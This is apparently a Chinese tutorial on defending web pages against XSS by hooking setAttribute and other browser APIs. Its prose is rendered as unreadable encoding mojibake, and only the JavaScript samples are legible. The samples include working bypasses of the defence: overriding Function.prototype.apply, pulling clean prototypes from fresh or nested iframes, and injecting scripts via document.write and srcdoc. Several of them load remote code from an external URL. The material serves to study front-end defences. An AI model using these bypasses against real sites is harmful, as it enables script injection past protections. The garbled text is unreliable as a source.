×òÌì³¢ÊÔÁËһϵÁеĿÉÒÉÄ£¿éÀ¹½ØÊÔÑ飬¾¡¹Ü×îÖյķ½°¸»¹´æÔÚ×ÅһЩ¼æÈÝÐÔÎÊÌ⣬µ«´óÌå˼·ÒѾÃ÷È·ÁË£º
¾²Ì¬Ä£¿é£ºÊ¹Óà MutationObserver ɨÃè¡£
¶¯Ì¬Ä£¿é£ºÍ¨¹ý API ¹³×ÓÀ´À¹½ØÂ·¾¶ÊôÐÔ¡£
Ìáµ½¹³×Ó³ÌÐò£¬´ó¼Ò»áÁªÏëµ½´«Í³Ó¦ÓóÌÐòÀïµÄ API Hook£¬ÒÔ¼°¸÷ÖÖÍâ¹ÒľÂí¡£µ±È»£¬Î´±ØÊÇϵͳº¯Êý£¬ÈκÎ
CPU Ö¸Áî¶¼Äܱ»¸Äд³ÉÌø×ªÖ¸ÁÒÔʵÏÖÏÈÔËÐÐ×Ô¼ºµÄ³ÌÐò¡£
ÎÞÂÛÊÇÔÚÄĸö²ãÃæ£¬¹³×Ó³ÌÐòµÄºËÐÄÀíÄî¶¼ÊÇÒ»ÑùµÄ£ºÎÞÐèÐÞ¸ÄÒÑÓеijÌÐò£¬¼´¿ÉÏÈÖ´ÐÐÎÒÃǵijÌÐò¡£
ÕâÊÇÒ»ÖÖÁ´Ê½µ÷ÓõÄģʽ¡£µ÷ÓÃÕßÎÞÐè¹ØÐÄÉÏÒ»¼¶µÄϸ½Ú£¬Ö±¹ÜÓþÍÊÇÁË£¬¼´Ê¹ÓжîÍâµÄ²Ù×÷¶ÔÆäÒ²ÊDz»¿É¼ûµÄ¡£´Ó×îµ×²ãµÄÖ¸ÁîÀ¹½Ø£¬µ½ÓïÑÔ²ãÃæµÄÐ麯Êý¼Ì³Ð£¬ÒÔ¼°¸ü¸ß²ã´ÎµÄÃæÏòÇÐÃæ£¬¶¼´øÓÐÕâÀà˼Ïë¡£
¶ÔÓÚ JavaScript ÕâÑùÁé»îµÄÓïÑÔ£¬ÈκÎģʽ¶¼¿ÉÒÔʵÏÖ¡£Ö®Ç°×ö¹ýÒ»¸öÍøÒ³°æµÄ±äËÙ³ÝÂÖ£¬ÓõľÍÊÇÕâÀàÔÀí¡£
JavaScript ¹³×ÓСÊÔ
ҪʵÏÖÒ»¸ö×î»ù±¾µÄ¹³×Ó³ÌÐò·Ç³£¼òµ¥£¬×òÌìÒÑÑÝʾ¹ýÁË¡£ÏÖÔÚÎÒÃÇÔÙÀ´¸ø setAttribute
½Ó¿ÚʵÏÖÒ»¸ö¹³×Ó£º
// ±£´æÉϼ¶½Ó¿Ú var raw_fn = Element.prototype.setAttribute; // ¹´×¡µ±Ç°½Ó¿Ú Element.prototype.setAttribute = function(name, value) { // ¶îÍâϸ½ÚʵÏÖ if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) { if (/xss/.test(value)) { if (confirm('ÊÔͼ¼ÓÔØ¿ÉÒÉÄ£¿é£º\n\n' + url + '\n\nÊÇ·ñÀ¹½Ø£¿')) { return; } } } raw_fn.apply(this, arguments); }; // ´´½¨½Å±¾ var el = document.createElement('script'); el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el); Run |
ÀàËÆ×òÌìµÄ·ÃÎÊÆ÷À¹½Ø£¬ÏÖÔÚÎÒÃÇ¶Ô setAttribute Ò²½øÐÐÀàËÆµÄ¼à¿Ø¡£ÒòΪËüÊǸöº¯Êý£¬ËùÓÐÖ÷Á÷ä¯ÀÀÆ÷¶¼¼æÈÝ¡£
¹³×Óй¶
¿´ÆðÀ´ËƺõºÁÎÞÄѶȣ¬¶øÇÒҲûʲô²»¶ÔµÄµØ·½£¬Õâ²»¾Í¿ÉÒÔÁËÂð£¿
Èç¹û×îÖÕ¾ÍÓÃÕâ´úÂ룬ÄÇҲ̫´ìÁË¡£ÎÒÃǰÑÔʼ½Ó¿Ú¶¼±©Â¶ÔÚÈ«¾Ö±äÁ¿ÀïÁË£¬¹¥»÷ÕßÖ»ÒªÄÃÁËÕâ¸ö±äÁ¿£¬¼´¿ÉÈÆ¹ýÎÒÃǵļì²â´úÂ룺
var el = document.createElement('script'); ¡¡¡¡// Ö±½Óµ÷ÓÃÔʼ½Ó¿Ú ¡¡¡¡raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); ¡¡¡¡document.body.appendChild(el); ¡¡¡¡Run |
¿¿£¬Õâ²»Ë㣬ÕâÖ»ÊÇÎÒÃDzâÊÔ¶øÒÑ¡£ÏÖʵÖÐË»á·ÅÔÚÈ«¾Ö±äÁ¿ÀïÄØ£¬ÕâÄêÍ·²»Ì×Ò»¸ö±Õ°üµÄ½Å±¾¶¼²»ºÃÒâ˼ÄóöÀ´¡£
ºÃ°É£¬ÎÒ»¹ÊǷűհüÀÕâ×ܰ²È«Á˰ɡ£¿´ÄãÔõô¸ô¿ÕÈ¡Î´ÓÎÒ±Õ°üÀï͵³öÀ´¡£
(function() { ¡¡¡¡// ±£´æÉϼ¶½Ó¿Ú ¡¡¡¡var raw_fn = Element.prototype.setAttribute; ¡¡¡¡... ¡¡¡¡})(); |
²»¹ý£¬ÕæÒªÍµ³öÀ´£¬ÄǾø¶ÔÊÇûÎÊÌâµÄ£¡
Õâ¸ö±äÁ¿Î¨Ò»Óõ½µÄµØ·½¾ÍÊÇ£º
raw_fn.apply(this, arguments)
Õâ¿É²»ÊÇÒ»¸öÔ×Ó²Ù×÷£¬¶øÊǵ÷ÓÃÁË Function.prototype.apply
Õâ¸öÈ«¾Öº¯Êý¡£ÉñÂí¡£¡£¡£Õâ¡£ÊÇÕæµÄ£¬²»ÐÅÄã¿ÉÒÔÊÔÊÔ£¡
²»ÓÃ˵£¬ÄãÒ²¶®ÁË¡£ÎÒ»¹ÊÇ˵Íê°É£ºÎÒÃÇ¿ÉÒÔÖØÐ´ apply£¬È»ºóËæ±ã¸øÄ³¸öÔªËØ
setAttribute Ï£¬¾Í¿ÉÒÔÇÔÌýµ½¹³×Ó´«¹ýÀ´µÄ raw_fn ÁË¡£
Function.prototype.apply = function() { ¡¡¡¡console.log('¹þ¹þ£¬µÃµ½Ôʼ½Ó¿ÚÁË:', this); ¡¡¡¡}; ¡¡¡¡document.body.setAttribute('a', 1); ¡¡¡¡Run |

ÕâҲ̫¼úÁ˰ɣ¬²»´øÕâÑùÍæµÄ¡£¿ÉÈ˼ҾÍÄÜÓÃÕâÕÐÈÆ¹ýÄ㣬ÓÖÔõÑù¡£
Äã»áÏ룬¸É´à°Ñ Function.prototype.apply Ò²Ìáǰ±£´æÆðÀ´µÃÁË¡£È»ºóÒ»·¬ÕÛÌÚ£¬Äã»á·¢ÏÖ´úÂë±ä³É
apply.apply.apply.apply...
±Ï¾¹£¬apply ºÍ call ÒÑÊÇ×îµ×²ãÁË£¬Ã»·¨ÔÙ call ×Ô¼ºÁË¡£
Õâ¿ÉÔõô°ì¡£ÏÔÈ»²»ÄÜÔÙÓà apply »ò call ÁË£¬µ«²»ÓÃËüÃÇû·¨°Ñ
this ±äÁ¿´«½øÈ¥°¡¡£»ØÏëÏ£¬ÓÐÄÄЩ·½·¨¿ÉÒÔ¿ØÖÆ this µÄ£º
obj.method() ¡¡¡¡method.call(obj) |
Ã²ËÆÒ²¾ÍÕâÁ½Àà¡£ÅųýÁ˵ڶþÖÖ£¬ÄÇֻʣ×î¹ÅÀϵÄÓ÷¨ÁË¡£¿ÉÊÇÎÒÃÇÒÑ¾ÖØÐ´ÁËÏÖÓеĽӿڣ¬ÔÙµ÷ÓÃ×Ô¼ºÄǾ͵ݹéÒç³öÁË¡£
µ«ÊÇ£¬ÎÒÃÇ¿ÉÒÔ¸øÔʼ½Ó¿Ú»»¸öÃû×Ö£¬²»¾Í¿ÉÒÔ±ÜÃâ³åÍ»ÁË£º
(function() { // ±£´æÉϼ¶½Ó¿Ú Element.prototype.__setAttribute = Element.prototype.setAttribute; // ¹´×¡µ±Ç°½Ó¿Ú Element.prototype.setAttribute = function(name, value) { // ¶îÍâϸ½ÚʵÏÖ ... // ÏòÉϵ÷Óà this.__setAttribute(name, value); }; })(); Run |
ÕâÑùµ¹ÊÇ˦µô apply Õâ¸ö°ü¸¤ÁË£¬µ«ÊÇÎÞÂÛÈ¡¡º__setAttribute¡»£¬»¹ÊÇ»»³ÉÆäËûÃû×Ö£¬È˼ÒÖªµÀÁË£¬ÕÕÑù¿ÉÒÔÄóöÔʼ½Ó¿Ú¡£ËùÒÔ£¬ÎÒÃǵÃÈ¡¸ö¸´ÔÓµÄÃû×Ö£¬×îºÃÿ´Î»¹¶¼²»Ò»Ñù£º
(function() { // È¡¸ö°ÔÆøµÄÃû×Ö var token = '$' + Math.random(); // ±£´æÉϼ¶½Ó¿Ú Element.prototype[token] = Element.prototype.setAttribute; // ¹´×¡µ±Ç°½Ó¿Ú Element.prototype.setAttribute = function(name, value) { // ¶îÍâϸ½ÚʵÏÖ ... // ÏòÉϵ÷Óà this[token](name, value); }; })(); Run |
ÏÖÔÚ£¬ÄãÍêÈ«²»ÖªµÀÎÒ°ÑÔʼ½Ó¿Ú²ØÔÚÄÄÁË£¬¶øÇÒÓà this[token](...)
Õâ¸öÇÉÃîµÄ·½·¨£¬Í¬Ñù·ûºÏ¸Õ²ÅÁоٵĵÚÒ»ÀàÓ÷¨¡£
ÎÊÌâËÆºõ¡£¡£¡£½â¾öÁË¡£µ«£¬×ܸоõÓÐʲô²»¶Ô¾¢¡£¡£¡£È˼Ҳ»ÖªµÀ±äÁ¿²ØÄÄÁË£¬ÄѵÀ²»¿ÉÒÔÕÒÂð¡£°Ñ
Element.prototype ±éÀúÏ£¬Ò»¸ö¸öÕÒ¹ýÈ¥£¬²»ÏàÐÅ»áÕÒ²»µ½£º
for(var k in Element.prototype) { console.log(k); if (k.substr(0,1) == '$') { console.error('Â¥Éϵģ¬ÄãÕâÃû×ÖÄÇôâ«Ëö£¬¸Ò¶¸öÃæÂð'); console.error(Element.prototype[k]); } } Run |

È¡Á˸öÕâôÀ·çµÄÃû×Ö£¬¾ÍÏóÊǺڰµÖеÄÓ©»ð³æ£¬Ë²¼ä¸ø¾¾³öÀ´ÁË¡£Äã»á˵£¬ÎªÊ²Ã´²»È¡¸öÔÙÒþ±ÎµãµÄÃû×Ö£¬ÉõÖÁ»¹¿ÉÒÔð³äÁ¼Ãñ£¬°Ñ´ÓÀ´²»Óõķ½·¨¸øÌæ»»ÁË¡£
²»¹ý£¬ÎÞÂÛÏëÔõô¶ã£¬¶¼ÊÇͽÀ͵ġ£ÓÐÎÞÊýÖÖ·½·¨¿ÉÒÔÈÃÄãÔÐα϶¡£³ý·Ç ¡ª¡ª
¸ù±¾²»Äܱ»È˼Òö¾Ùµ½¡£
ÊôÐÔÒþÉíÊõ
Èç¹ûû¼Ç´íµÄ»°£¬Ö÷Á÷ JavaScript ÀïºÃÏñ»¹ÕæÓÐʲô½Ð enumerable¡¢configurable
Ö®ÀàµÄ¶«Î÷¡£°ÑËüÃǰá³öÀ´£¬¿´¿´Äܲ»Äܸ³ÓèÎÒÃÇÒþÉí¹¦ÄÜ£¿
ÂíÉϾÍÊÔÊÔ£º
// Ðê~ ÀÍ×ÊÒªÒþÉíÁË ¡¡¡¡Object.defineProperty(Element.prototype, token, { ¡¡¡¡value: Element.prototype.setAttribute, ¡¡¡¡enumerable: false ¡¡¡¡}); ¡¡¡¡Run |
ÉñÆæ£¬ºìºìµÄÄÇÛç×Ö¹ûȻû³öÏÖ¡£¿´À´ÕæµÄÒþÉíÁË£¡
µ½´Ë£¬Ôº¯Êýй¶µÄÎÊÌ⣬ÎÒÃÇËãÊǸ㶨ÁË¡£
²»¹ýÔÝʱ»¹²»ÄÜËÉи£¬ÎªÊ²Ã´£¿Á¬ apply ¶¼Äܱ»É½Õ¯£¬ÄÇ»¹ÓÐʲô¿ÉÒÔÏàÐŵģ¡ÄÇЩÕýÔò±í´ïʽµÄ
test ·½·¨¡¢×Ö·û´®µÄ´óСдת»»¡¢Êý×éµÄ forEach µÈµÈµÈµÈ£¬¶¼ÊÇ¿ÉÒÔ±»¸ÄдµÄ¡£
ÒªÊÇÈË¼Ò°Ñ RegExp.prototype.test ÖØÐ´ÁË£¬²¢ÇÒ×ÜÊÇ·µ»Ø
false£¬ÄÇôÎÒÃǵIJßÂÔÅжϾÍÍêȫʧЧÁË¡£
ËùÒÔ£¬ÎÒÃǵÃÖØ¸´ÉÏÃæµÄ²½Ö裬°ÑÕâЩÔËÐÐʱҪÓõ½µÄÈ«¾Ö·½·¨£¬¶¼µÃËæ»úÒþÄäÆðÀ´¡£
ËøËÀ call ºÍ apply
²»¹ý£¬Òþ²ØÒ»¸ö»¹ºÃ£¬´óÁ¿µÄ´úÂë¶¼ÓÃÕâÖÖ Geek µÄ·½Ê½£¬ÏԵúÜÊÇÀÛ׸¡£
¼ÈÈ»ÄÜÓÐÒþÉíÄÇÑùÉñÆæµÄħ·¨£¬ÄѵÀ¾ÍûÓÐÆäËûÀàËÆµÄÂð£¿ÊÂʵÉÏ£¬Object.defineProperty
ÀﻹÓкܶàÓÐÒâ˼µÄ¹¦ÄÜ£¬³ýÁËÈÃÊôÐÔ²»¿É¼û£¬»¹Äܲ»¿Éд¡¢²»¿ÉɾµÈµÈ¡£
¿ÉÒÔÈÃÊôÐÔ²»¿Éд£¿Ì«ºÃÁË£¬²»Èç¸É´à°Ñ Function.prototype.call
ºÍ apply ¶¼ÊÂÏÈËøËÀ°É£¬·´ÕýË»áÎÞÁĵ½ÖØÐ´ËüÃÇÄØ¡£
Object.defineProperty(Function.prototype, 'call', { value: Function.prototype.call, writable: false, configurable: false, enumerable: true }); // apply Ò²Ò»Ñù ÂíÉÏ¿´¿´Ð§¹û£º Function.prototype.call = function() { alert('hello'); }; console.log(Function.prototype.call); ¹ûÈ»»¹ÊÇ function call() { [native code] } Run |
ÏÖÔÚ£¬ÎÒÃÇ´ó¿É·ÅÐĵÄʹÓà call ºÍ apply£¬ÔÙÒ²²»Óùĵ·ÄǶÑËæ»úÊôÐÔÁË¡£
²»¹ýÕâÖÖËæ»ú+Òþ²ØµÄÊôÐÔ£¬½ñºó»¹ÊÇÓÐÓÃÎäÖ®µØµÄ£¬³£³£ÓÃÀ´¸ø¹«¿ªµÄ¶ÔÏó×ö¸öÃØÃܵļǺţ¬ËùÒÔûÓа×ÕÛÌÚ¡£
µ½´Ë£¬ÎÒÃÇÖÕÓÚ¿ÉÒÔËÉ¿ÚÆøÁË¡£
ÐÂÒ³Ãæ·´Éä
±ð¸ßÐ˵ÄÌ«Ôç£¬ÕæÕýµÄÄÑÌ⻹ÔÚºóÃæÄØ¡£
¼ÈÈ»È˼ÒÏëÆÆ½â£¬ÊÇ»áÓþ¡¸÷ÖÖÊֶε쬲¢²»¾ÖÏÞÓÚ´¿½Å±¾¡£ÒòΪÕâÊÇÔÚÍøÒ³À¹¥»÷ÕßÃÇ»¹¿ÉÒÔºô»½³ö¸÷ÖÖ±ä»ÃβâµÄä¯ÀÀÆ÷¹¦ÄÜ£¬À´¶ã±ÜÎÒÃÇ¡£
×î¼òµ¥µÄ£¬¾ÍÊÇ´´½¨Ò»¸ö¿ò¼ÜÒ³Ãæ£¬È»ºóͨ¹ý contentWindow
¼´¿É»ñµÃÒ»¸öÈ«ÐµĻ·¾³£º
// ·´Éä³ö´¿¾»µÄ½Ó¿Ú ¡¡¡¡var frm = document.createElement('iframe'); ¡¡¡¡document.body.appendChild(frm); ¡¡¡¡var raw_fn = frm.contentWindow.Element.prototype.setAttribute; ¡¡¡¡// ´´½¨½Å±¾ ¡¡¡¡var el = document.createElement('script'); ¡¡¡¡raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); ¡¡¡¡document.body.appendChild(el); ¡¡¡¡Run |
Õâʱ£¬ÎÒÃǵĹ³×Ó³ÌÐò¾Í±»Ë²¼äÃëɱÁË¡£
¾¡¹ÜÍ¬Ô´Ò³ÃæÖ®¼äÊÇ¿ÉÒÔÏ໥·ÃÎÊ£¬µ«ÆäËùÔڵĻ·¾³È´ÊǸôÀëµÄ¡£×ÓÒ³ÃæËùÓеÄÒ»Çж¼ÊǶÀÁ¢µÄ¸±±¾£¬ÍêÈ«²»ÊÜÖ÷Ò³ÃæÓ°Ïì¡£
²»¹ý£¬¼ÈÈ»Äܹ»·ÃÎÊ×ÓÒ³Ãæ£¬ÏÔȻҲÄܸøËüÃǵĻ·¾³°²×°ÉϹ³×Ó¡£Ã¿µ±ÓÐеĿò¼ÜÔªËØ³öÏÖʱ£¬ÎÒÃǾÍÁ¢¼´¶ÔÆä×¢Èë·À»¤³ÌÐò£¬ÈÃÓû§»ñÈ¡µ½µÄ
contentWindow ÒÑÊÇ´øÓй³×ӵġ£
ÀàËÆ´«Í³µÄÓ¦ÓóÌÐò£¬Ã¿µ±µ÷ÓÃÆäËû³ÌÐòʱ£¬°²È«Èí¼þÐ轫д´½¨µÄ½ø³Ì¼ÓÒÔ·À»¤¡£
Äã˵»áÕâºÜÈÝÒ×°ìµ½¡£½« createElement ·½·¨¹´×¡£¬È»ºóÔÚÀïÃæÅжϴ´½¨µÄÊDz»ÊÇ¿ò¼ÜÔªËØ£¬Èç¹ûÊǵϰ¾ÍÖ±½Ó·À»¤×ÓÒ³Ãæ£¬²»¾Í¿ÉÒÔÁËÂð£¿
ÏÔÈ»£¬ÕâÊǾ²»Æðʵ¼ùµÄ¡£ÊÂʵÉÏ£¬Ö»Òª²âÊÔÏÂÄã¾Í»á·¢ÏÖ£¬Î´¹ÒÔØµ½Ö÷½ÚµãµÄ¿ò¼ÜÔªËØ£¬contentWindow
ʼÖÕÊÇ null¡£Ò²¾ÍÊÇ˵£¬±ØÐëÔÚµ÷Óà appendChild Ö®ºó²Å¿ªÊ¼³õʼ»¯×ÓÒ³Ãæ¡£
Òò´Ë£¬ÎÒÃǵýèÖú֮ǰÑо¿µÄ½Úµã¹ÒÔØÊ¼þ£¬ÕÒµ½Ò»¸öÄÜÔÚ appendChild
Ö®ºó£¬µ«ÔÚÓû§»ñÈ¡ contentWindow ֮ǰ´¥·¢µÄʼþ¡£
var observer = new MutationObserver(function(mutations) { console.log('MutationObserver:', mutations); }); observer.observe(document, { subtree: true, childList: true }); document.addEventListener('DOMNodeInserted', function(e) { console.log('DOMNodeInserted:', e); }, true); // ·´Éä³ö´¿¾»µÄ½Ó¿Ú var frm = document.createElement('iframe'); console.warn('begin'); document.body.appendChild(frm); console.warn('end'); var raw_fn = frm.contentWindow.Element.prototype.setAttribute; /** Êä³ö begin DOMNodeInserted MutationEvent end MutationObserver: Array[1] MutationObserver: Array[1] */ Run |
Õâ²»£¬DOMNodeInserted ¾ÍÄÜÂú×ãÎÒÃǵÄÐèÇó¡£ÓÚÊÇ£¬ÎÒÃÇʹÓÃËüÀ´¼à¿Ø¿ò¼ÜÔªËØ¡£
Ò»µ©·¢ÏÖÓпò¼Ü¹ÒÔØµ½Ö÷½ÚµãÉÏ£¬ÎÒÃǸϽô°ÑËüµÄ½Ó¿ÚÒ²×°ÉϹ³×Ó£º
// ÎÒÃÇ·ÀÓùϵͳ (function() { function installHook(window) { // ±£´æÉϼ¶½Ó¿Ú var raw_fn = window.Element.prototype.setAttribute; // ¹´×¡µ±Ç°½Ó¿Ú window.Element.prototype.setAttribute = function(name, value) { // ÊÔÊÔ alert(name); // ÏòÉϵ÷Óà raw_fn.apply(this, arguments); }; } // Ïȱ£»¤µ±Ç°Ò³Ãæ installHook(window); document.addEventListener('DOMNodeInserted', function(e) { var element = e.target; // ¸ø¿ò¼ÜÀï»·¾³Ò²×°¸ö¹³×Ó if (element.tagName == 'IFRAME') { installHook(element.contentWindow); } }, true); })(); // ·´Éä³ö´¿¾»µÄ½Ó¿Ú var frm = document.createElement('iframe'); document.body.appendChild(frm); var raw_fn = frm.contentWindow.Element.prototype.setAttribute; // ´´½¨½Å±¾ var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el); Run ¡¡¡¡ÍêÃÀ£¡¶Ô»°¿ò³É¹¦µ¯³öÀ´ÁË£¡¼´Ê¹´Ó¿ò¼ÜÒ³Àï·´Éä³öл·¾³£¬ÈÔÈ»´øÓÐÎÒÃǵĹ³×Ó³ÌÐò¡£ ¡¡¡¡²»¹ý£¬Ã²ËÆ»¹Â©ÁËЩʲô¡£ÒªÊÇ´Ó¿ò¼ÜÒ³ÀïÔÙÌ׿ò¼ÜÒ³£¬ÎÒÃǾͱ¾ßÁË£º // ´´½¨¿ò¼ÜÒ³ var frm = document.createElement('iframe'); document.body.appendChild(frm); // ´´½¨¿ò¼ÜÒ³µÄ¿ò¼ÜÒ³ var doc = frm.contentDocument; var frm2 = doc.createElement('iframe'); doc.body.appendChild(frm2); // ·´Éä½Ó¿Ú var raw_fn = frm2.contentWindow.Element.prototype.setAttribute; // ´´½¨½Å±¾ var el = document.createElement('script'); raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js'); document.body.appendChild(el); Run |

Ç°ÃæËµÁË£¬Ã¿¸öÒ³Ãæ»·¾³ÊǶÀÁ¢µÄ£¬Ö÷Ò³ÃæÊDz¶×½²»µ½×ÓÒ³ÃæÀïµÄʼþµÄ¡£ËùÒÔ£¬¿ò¼ÜÒ³Àï´´½¨ÔªËØ£¬ÎÒÃÇÍêÈ«²»ÖªµÀ¡£
ÔõÃ´ÆÆ£¿Õ⻹²»¼òµ¥£¬Ë÷ÐÔ¸ø¿ò¼ÜÒ³Ò²°óÉÏ DOMNodeInserted
ʼþ£¬²»¾Í¿ÉÒÔ²ã²ã¼à¿ØÁËÂð¡£ÎÞÂÛ¿ò¼ÜµÄ¼¸´Î·½£¬¶¼ÌÓ²»¹ýÎÒÃǵĻðÑÛ½ð¾¦ÁË¡£
// ÎÒÃÇ·ÀÓùϵͳ (function() { function installHook(window) { // ±£´æÉϼ¶½Ó¿Ú var raw_fn = window.Element.prototype.setAttribute; // ¹´×¡µ±Ç°½Ó¿Ú window.Element.prototype.setAttribute = function(name, value) { // ÊÔÊÔ alert(name); // ÏòÉϵ÷Óà raw_fn.apply(this, arguments); }; // ¼à¿Øµ±Ç°»·¾³µÄÔªËØ window.document.addEventListener('DOMNodeInserted', function(e) { var element = e.target; // ¸ø¿ò¼ÜÀï»·¾³Ò²×°¸ö¹³×Ó if (element.tagName == 'IFRAME') { installHook(element.contentWindow); } }, true); } // Ïȱ£»¤µ±Ç°Ò³Ãæ installHook(window); })(); Run |
Ö»Ðè¼òµ¥µÄС¸Ä¶¯¡£ÎÒÃÇ°Ñ DOMNodeInserted ·Åµ½ installHook
ÀÕâÑùÔÚ°²×°¹³×ÓµÄͬʱ£¬Ò²¶Ôµ±Ç° window ÖеÄÔªËØ½øÐÐ¼à¿Ø¡£Ò»µ©³öÏÖ¿ò¼ÜÔªËØ£¬¾ÍµÝ¹é·À»¤¡£
ÏÖÔÚ£¬ÎÒÃǵĿò¼ÜÒ³¼à¿ØÒÑÊÇÌìÒÂÎÞ·ìÁË¡£
ÐÂÒ³ÃæÄæÏò¿ØÖÆ
²»¹ý£¬ÊÀÉÏûÓоø¶ÔµÄÊ¡£
ÎÒÃÇÖ»¿¼ÂÇÁËÕýÏòµÄ·´É䣬ȴÍüÁË¿ò¼ÜÒ²¿ÉÒÔÄæÏò¿ØÖÆÖ÷Ò³Ãæ¡£¹¥»÷ÕßÒªÊÇÄܰÑ
XSS ½Å±¾×¢Èëµ½¿ò¼ÜÒ³ÀͬÑùÒ²¿ÉÒÔÏòÉÏÐÞ¸ÄÖ÷Ò³ÃæÀïµÄÄÚÈÝ£¬·¢ÆðÐÅÈι¥»÷¡£
ÔÚ¿ò¼ÜÀïÒýÈë½Å±¾£¬·½·¨¾Í¸ü¶àÁË¡£¿ò¼ÜÔªËØËäÈ»ÊǶ¯Ì¬´´½¨µÄ£¬µ«ÆäÄÚÈÝ¿ÉÒÔ¾²Ì¬³ÊÏÖ£º
// ´´½¨¿ò¼ÜÒ³ var frm = document.createElement('iframe'); document.body.appendChild(frm); // ¾²Ì¬³ÊÏÖ frm.contentDocument.write('<\script src=http://www.etherdream.com/xss/alert.js><\/script>'); Run ÕâÖ»ÊÇËæ±ãÁоÙÁËÒ»ÖÖ¡£ÊÂʵÉÏ£¬HTML5 »¹ÐÂÔöÒ»¸ö¿ÉÒÔÖ±½Ó¿ØÖÆ¿ò¼ÜÒ³ÄÚÈݵÄÊôÐÔ£ºsrcdoc¡£ <iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe> Run ²¢ÇÒ»¹ÊÇÔÚͬԴ»·¾³ÖÐÖ´Ðеģº <iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe> Run |
¸ãÁ˰ëÌì½á¹û»¹ÊÇÄܱ»Èƹý¡£
²»¹ý±ð»ÒÐÄ£¬¾²âÊÔ£¬document.write ³öÀ´µÄÄÚÈÝÊÇ¿ÉÒÔ±»
MutationObserver ²¶»ñµ½µÄ¡£ÖÁÓÚ srcdoc ÂÕâ¸öÆ«ÃŵÄÊôÐÔÍêÈ«¿ÉÒÔ°ÑËü½ûµô£¬»òÕßÖØÐ´·ÃÎÊÆ÷£¬°Ñ
HTML ÄÚÈÝÓÃÆäËû°ì·¨´úÀíµ½Ò³ÃæÉÏÈ¥¡£·´ÕýÕâÓÖ²»ÊÇÖ÷Á÷µÄÓ÷¨£¬Ö»Òª×îÖÕЧ¹ûÒ»Ñù¾ÍûÎÊÌâÁË¡£
µ±È»£¬ÒªÊÇÔÚÖ÷Ò³ÃæÀï document.write Ôõô°ì£¿½Å±¾È·ÊµÄÜÔËÐУ¬µ«²»°×ÆÁÁËÂð¡£Èç¹û¾õµÃÕâÓзçÏÕ£¬¿ÉÒÔÔÚ
DOMContentLoaded Ö®ºó£¬°Ñ document.write Ò²ÆÁ±Îµô£¬ÒÔÃâºó»¼¡£
ºó¼Ç
Ëä˵ħ¸ßÒ»³ßµÀ¸ßÒ»ÕÉ£¬µ«ÔÙÀι̵Ĺ³×Ó»¹ÊÇÓÐÒâÏë²»µ½µÄ°ì·¨ÈƹýµÄ¡£Òò´ËÎÒÃǵÃÓëʱ¾ã½ø£¬²»¶ÏÐÞÉÉÀ´Ç¿»¯·ÀÓùÄÜÁ¦¡£
µ½Ä¿Ç°ÎªÖ¹£¬ÎÒÃÇÒѶԽű¾¡¢¿ò¼Ü¡¢API ½Ó¿ÚʵÏÖÁËÖ÷¶¯·ÀÓù¡£µ«ÊÇ£¬¾ß±¸Ö´ÐÐÄÜÁ¦µÄÔªËØ²¢²»Ö¹ÕâЩ¡£
ÀýÈç Flash ¾Í¿ÉÒÔÔËÐÐÒ³ÃæÖеĽű¾£¬¹âÊÇËü¾ÍÕ¼ÓÃÁË object£¬embed£¬param
ÄÇô¶àÔªËØ¡£
¶øÇÒ£¬API ·À»¤¹³×Ó²¢²»È«Ã棬ֻÊÇÀý¾ÙÁ˼¸¸ö³£Óõġ£
|